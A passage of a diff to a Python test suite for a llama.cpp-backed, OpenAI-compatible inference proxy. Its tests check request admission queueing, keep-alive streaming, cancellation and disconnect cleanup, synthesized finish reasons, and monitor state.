None) + if aclose is not None: + await aclose() + blocker.release() + + assert body_holder["body"].closed + assert cleanup_called.is_set() + assert cancel_id not in inf_mod._CANCEL_REGISTRY + assert queue.snapshot().active == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_queued_cancel_after_inner_first_chunk_finalizes_monitor( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + async def fake_admitted( + *_args, + monitor_id = None, + admission_lease, + tracker, + **_kwargs, + ): + async def cleanup(): + admission_lease.release() + tracker.__exit__(None, None, None) + + async def body(): + try: + yield 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' + await asyncio.sleep(3600) + except asyncio.CancelledError: + inf_mod.api_monitor.finish(monitor_id, "cancelled") + raise + finally: + await cleanup() + + return _SameTaskStreamingResponse( + body(), + media_type = "text/event-stream", + unstarted_cleanup = cleanup, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_stream_admitted", + fake_admitted, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + + queue = get_llama_admission_queue("http://llama.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + cancel_id = "queued-inner-cancel-monitor" + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + effective_parallel_slots = 1, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + iterator = response.body_iterator + try: + chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert chunk == ": keep-alive\n\n" + + blocker.release() + first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert "hello" in first + + pending = asyncio.create_task(iterator.__anext__()) + await asyncio.sleep(0) + pending.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(pending, timeout = 1.0) + finally: + aclose = getattr(iterator, "aclose", None) + if aclose is not None: + await aclose() + blocker.release() + + assert cancel_id not in inf_mod._CANCEL_REGISTRY + assert queue.snapshot().active == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_synthesizes_missing_finish_reason(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + [ + ( + 'data: {"id":"upstream","created":123,"model":"gguf",' + '"choices":[{"index":0,"delta":{"content":"hello"}}]}' + ), + "data: [DONE]", + ], + ) + body = result.body + + assert '"finish_reason":"stop"' in body.replace(" ", "") + assert "data: [DONE]" in body + assert result.monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_synthesizes_tool_call_finish_reason(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + [ + ( + 'data: {"id":"upstream","created":123,"model":"gguf",' + '"choices":[{"index":0,"delta":{"tool_calls":[{"index":0,' + '"id":"call_1","type":"function","function":{"name":"lookup",' + '"arguments":"{}"}}]}}]}' + ), + "data: [DONE]", + ], + ) + compact = result.body.replace(" ", "") + + assert '"finish_reason":"tool_calls"' in compact + assert '"finish_reason":"stop"' not in compact + assert "data: [DONE]" in result.body + assert result.monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_error_done_skips_synthetic_finish_reason(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + [ + 'data: {"error":{"message":"boom","type":"server_error"}}', + "data: [DONE]", + ], + ) + compact = result.body.replace(" ", "") + + assert '"error":{"message":"boom","type":"server_error"}' in compact + assert '"finish_reason"' not in compact + assert "data: [DONE]" in result.body + [entry] = result.monitor.snapshot() + assert entry["status"] == "error" + assert entry["error"] == "boom" + assert result.monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_error_eof_skips_synthetic_finish_reason(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + ['data: {"error":{"message":"boom","type":"server_error"}}'], + ) + compact = result.body.replace(" ", "") + + assert '"error":{"message":"boom","type":"server_error"}' in compact + assert '"finish_reason"' not in compact + assert "data: [DONE]" not in result.body + [entry] = result.monitor.snapshot() + assert entry["status"] == "error" + assert entry["error"] == "boom" + assert result.monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_usage_done_are_separate_sse_events(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + [ + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{"role":"assistant"},"finish_reason":null}]}', + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2}}', + ], + stream_options = {"include_usage": True}, + ) + + assert ( + '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' in result.body + ) + assert "data: [DONE]" in result.body + assert "}\n\ndata: [DONE]\n\n" in result.body + assert "}\ndata: [DONE]\n\n" not in result.body + + asyncio.run(_run()) + + def test_passthrough_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + url = SimpleNamespace(path = "/v1/chat/completions") + + async def is_disconnected(self): + return False + + async def fail_admitted(*_args, **_kwargs): + raise AssertionError("upstream must not start while request is queued") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_openai_passthrough_stream_admitted", fail_admitted) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + + queue = get_llama_admission_queue("http://llama.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + effective_parallel_slots = 1, + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + iterator = response.body_iterator + try: + chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert chunk == ": keep-alive\n\n" + snapshot = queue.snapshot() + assert snapshot.active == 1 + assert snapshot.queued == 1 + finally: + aclose = getattr(iterator, "aclose", None) + if aclose is not None: + await aclose() + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_admission_timeout_before_upstream(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + url = SimpleNamespace(path = "/v1/chat/completions") + + async def is_disconnected(self): + return False + + async def fail_upstream(*_args, **_kwargs): + raise AssertionError("upstream must not start while request is queued") + + monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01") + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming_upstream", + fail_upstream, + ) + + queue = get_llama_admission_queue("http://llama.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + ) + try: + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + effective_parallel_slots = 1, + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + request = Request(), + cancel_event = threading.Event(), + ) + assert exc.value.status_code == 503 + finally: + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_admission_queue_full_before_upstream(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + url = SimpleNamespace(path = "/v1/chat/completions") + + async def is_disconnected(self): + return False + + async def fail_upstream(*_args, **_kwargs): + raise AssertionError("upstream must not start when admission queue is full") + + monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "1") + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming_upstream", + fail_upstream, + ) + + queue = get_llama_admission_queue("http://llama.test") + blocker = queue.reserve( + capacity = 1, + config = LlamaAdmissionConfig(max_queue = 1), + ).lease_nowait() + queued = queue.reserve(capacity = 1, config = LlamaAdmissionConfig(max_queue = 1)) + assert blocker is not None + assert queued.lease_nowait() is None + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + ) + try: + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + effective_parallel_slots = 1, + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + request = Request(), + cancel_event = threading.Event(), + ) + assert exc.value.status_code == 429 + finally: + queued.cancel() + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_immediate_cancel_stops_before_upstream(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fail_upstream(*_args, **_kwargs): + raise AssertionError("upstream must not start after client cancellation") + + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming_upstream", + fail_upstream, + ) + + cancel_event = threading.Event() + cancel_event.set() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + ) + + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + effective_parallel_slots = 1, + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + cancel_event = cancel_event, + ) + + assert exc.value.status_code == 499 + assert get_llama_admission_queue("http://llama.test").snapshot().active == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_admission_task_cancel_finalizes_monitor(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_wait(*_args, **_kwargs): + raise asyncio.CancelledError() + + async def fail_upstream(*_args, **_kwargs): + raise AssertionError("upstream must not start after admission task cancel") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_wait_for_openai_admission_non_streaming", + fake_wait, + ) + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_non_streaming_upstream", + fail_upstream, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + ) + + with pytest.raises(asyncio.CancelledError): + await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + effective_parallel_slots = 1, + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + cancel_event = threading.Event(), + ) + + assert get_llama_admission_queue("http://llama.test").snapshot().active == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 asyncio.run(_run()) @@ -2056,7 +5528,430 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class HangingCancelableClient: + def __init__(self): + self.started = asyncio.Event() + self.closed = asyncio.Event() + + async def post(self, *_args, **_kwargs): + self.started.set() + await self.closed.wait() + raise httpx.ReadError("client closed") + + async def aclose(self): + self.closed.set() + + class Request: + async def is_disconnected(self): + return False + + client = HangingCancelableClient() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_cancelable_nonstreaming_client", + lambda: client, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + cancel_event = threading.Event() + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + task = asyncio.create_task( + _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + request = Request(), + cancel_event = cancel_event, + ) + ) + await asyncio.wait_for(client.started.wait(), 0.2) + cancel_event.set() + + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, 0.5) + + assert client.closed.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_route_registers_cancel_id(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class HangingCancelableClient: + def __init__(self): + self.started = asyncio.Event() + self.closed = asyncio.Event() + + async def post(self, *_args, **_kwargs): + self.started.set() + await self.closed.wait() + raise httpx.ReadError("client closed") + + async def aclose(self): + self.closed.set() + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/chat/completions") + method = "POST" + + async def is_disconnected(self): + return False + + cancel_id = "passthrough-nonstream-cancel-id" + client = HangingCancelableClient() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_cancelable_nonstreaming_client", lambda: client) + + def _plain(**_kwargs): + raise AssertionError("plain GGUF path should not be used") + + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = True, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + base_url = "http://llama.test", + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + generate_chat_completion = _plain, + ), + ) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + cancel_id = cancel_id, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + task = asyncio.create_task( + openai_chat_completions( + payload, + request = Request(), + current_subject = "test", + ) + ) + await asyncio.wait_for(client.started.wait(), 0.2) + assert cancel_id in inf_mod._CANCEL_REGISTRY + assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1 + + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, 0.5) + + assert client.closed.is_set() + assert cancel_id not in inf_mod._CANCEL_REGISTRY + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class HangingCancelableClient: + def __init__(self): + self.started = asyncio.Event() + self.closed = asyncio.Event() + + async def post(self, *_args, **_kwargs): + self.started.set() + await self.closed.wait() + raise httpx.ReadError("client closed") + + async def aclose(self): + self.closed.set() + + class Request: + def __init__(self): + self.disconnected = False + + async def is_disconnected(self): + return self.disconnected + + client = HangingCancelableClient() + request = Request() + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_cancelable_nonstreaming_client", + lambda: client, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + cancel_event = threading.Event() + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + task = asyncio.create_task( + _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + request = request, + cancel_event = cancel_event, + ) + ) + await asyncio.wait_for(client.started.wait(), 0.2) + request.disconnected = True + + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, 0.5) + + assert client.closed.is_set() + assert cancel_event.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_non_streaming_forwards_backend_auth_headers(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + captured = {} + + class FakeNonStreamingClient: + async def post(self, *_args, **kwargs): + captured["headers"] = kwargs.get("headers") + return httpx.Response( + 200, + json = { + "id": "chatcmpl-test", + "object": "chat.completion", + "created": 123, + "model": "gguf", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "OK"}, + "finish_reason": "stop", + } + ], + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "nonstreaming_client", + lambda: FakeNonStreamingClient(), + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _auth_headers = {"Authorization": "Bearer secret"}, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + ) + + assert json.loads(response.body)["choices"][0]["message"]["content"] == "OK" + assert captured["headers"]["Authorization"] == "Bearer secret" + assert captured["headers"]["Connection"] == "close" + + asyncio.run(_run()) + + def test_passthrough_non_streaming_forces_upstream_stream_false(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + captured = {} + + class FakeNonStreamingClient: + async def __aenter__(self): + return self + + async def __aexit__(self, *_args): + return False + + async def post(self, *_args, **kwargs): + captured["json"] = kwargs.get("json") + return httpx.Response( + 200, + json = { + "id": "chatcmpl-test", + "object": "chat.completion", + "created": 123, + "model": "gguf", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "OK"}, + "finish_reason": "stop", + } + ], + "usage": { + "prompt_tokens": 1, + "completion_tokens": 1, + "total_tokens": 2, + }, + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "nonstreaming_client", + lambda: FakeNonStreamingClient(), + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + stream_options = {"include_usage": True}, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + await _openai_passthrough_non_streaming( + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + monitor_id = monitor_id, + ) + + assert captured["json"]["stream"] is False + assert "stream_options" not in captured["json"] + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch): + async def _run(): + result = await self._run_passthrough_stream( + monkeypatch, + ['data: {"choices":[{"delta":{"content":"hello"}}]}'], + ) + chunks = result.chunks + + assert chunks[0] == 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' + compact = "".join(chunks).replace(" ", "") + assert '"finish_reason":"stop"' in compact + assert chunks[-1] == "data: [DONE]\n\n" + [entry] = result.monitor.snapshot() + assert entry["status"] == "completed" + assert entry["reply"] == "hello" + assert result.monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_finish_without_done_closes_stream_early(self, monkeypatch): + # Some llama-server builds emit the finish chunk and then hold the HTTP + # stream open without sending [DONE]; the terminal classifier must end + # the client stream promptly instead of hanging on the open socket. async def _run(): import routes.inference as inf_mod @@ -2068,7 +5963,9 @@ class TestApiMonitorProviderAndCompletionStreams: return httpx.Response(200, content = b"") async def fake_items(*_args, **_kwargs): - yield 'data: {"choices":[{"delta":{"content":"hello"}}]}' + yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}' + yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}' + await asyncio.Event().wait() # upstream never closes monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) @@ -2108,13 +6005,154 @@ class TestApiMonitorProviderAndCompletionStreams: "chatcmpl-test", monitor_id = monitor_id, ) - chunks = [] - async for chunk in response.body_iterator: - chunks.append(chunk) - assert chunks == ['data: {"choices":[{"delta":{"content":"hello"}}]}\n\n'] + async def _consume(): + return [chunk async for chunk in response.body_iterator] + + chunks = await asyncio.wait_for(_consume(), timeout = 2) + body = "".join(chunks) + + assert '"finish_reason":"stop"' in body.replace(" ", "") + assert body.endswith("data: [DONE]\n\n") [entry] = monitor.snapshot() assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stall_after_finish_closes_cleanly(self, monkeypatch): + # include_usage keeps the stream open past the finish chunk waiting for + # the usage chunk; if that never arrives, the post-terminal grace path + # must close with a clean [DONE], not an in-band error. + async def _run(): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}' + yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}' + raise httpx.ReadTimeout("usage chunk never arrived") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + stream_options = {"include_usage": True}, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [chunk async for chunk in response.body_iterator] + body = "".join(chunks) + + assert '"type":"api_error"' not in body.replace(" ", "") + assert body.endswith("data: [DONE]\n\n") + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_stall_after_data_emits_error(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + yield 'data: {"choices":[{"delta":{"content":"hello"}}]}' + raise httpx.ReadTimeout("upstream went silent") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [chunk async for chunk in response.body_iterator] + body = "".join(chunks) + + assert 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' in body + assert '"finish_reason"' not in body.replace(" ", "") + assert '"type":"api_error"' in body.replace(" ", "") + assert "still processing the prompt" in body + assert body.endswith("data: [DONE]\n\n") + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "still processing the prompt" in entry["error"] assert entry["reply"] == "hello" assert monitor.active_count() == 0 @@ -2623,6 +6661,15 @@ class TestApiMonitorAudioInput: class TestResponsesChatTemplateKwargs: _messages = [ChatMessage(role = "user", content = "What is 100 - 67?")] + class _Request: + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/responses") + method = "POST" + + async def is_disconnected(self): + return False + def test_enable_thinking_lifted_from_extra_body(self): payload = ResponsesRequest( model = "qwen-local", @@ -2655,6 +6702,113 @@ class TestResponsesChatTemplateKwargs: chat_req = _build_chat_request(payload, self._messages, stream = False) assert chat_req.enable_thinking is None + def test_responses_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fail_send(*_args, **_kwargs): + raise AssertionError("responses upstream must not start while queued") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + base_url = "http://llama.responses.test", + context_length = 4096, + effective_parallel_slots = 1, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send) + + queue = get_llama_admission_queue("http://llama.responses.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + monitor_id = monitor.start( + endpoint = "/v1/responses", + method = "POST", + model = "qwen-local", + prompt = "hi", + ) + payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True) + + response = await _responses_stream( + payload, + [ChatMessage(role = "user", content = "hi")], + self._Request(), + monitor_id, + ) + iterator = response.body_iterator + try: + chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert chunk == ": keep-alive\n\n" + snapshot = queue.snapshot() + assert snapshot.active == 1 + assert snapshot.queued == 1 + finally: + aclose = getattr(iterator, "aclose", None) + if aclose is not None: + await aclose() + blocker.release() + + snapshot = queue.snapshot() + assert snapshot.active == 0 + assert snapshot.queued == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_responses_stream_cancel_after_created_finalizes_monitor_and_slot(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fail_send(*_args, **_kwargs): + raise AssertionError("responses upstream must not start after created cancel") + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + base_url = "http://llama.responses.test", + context_length = 4096, + effective_parallel_slots = 1, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send) + monitor_id = monitor.start( + endpoint = "/v1/responses", + method = "POST", + model = "qwen-local", + prompt = "hi", + ) + payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True) + + response = await _responses_stream( + payload, + [ChatMessage(role = "user", content = "hi")], + self._Request(), + monitor_id, + ) + iterator = response.body_iterator + first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert "event: response.created" in first + + with pytest.raises(asyncio.CancelledError): + await iterator.athrow(asyncio.CancelledError()) + + assert get_llama_admission_queue("http://llama.responses.test").snapshot().active == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert 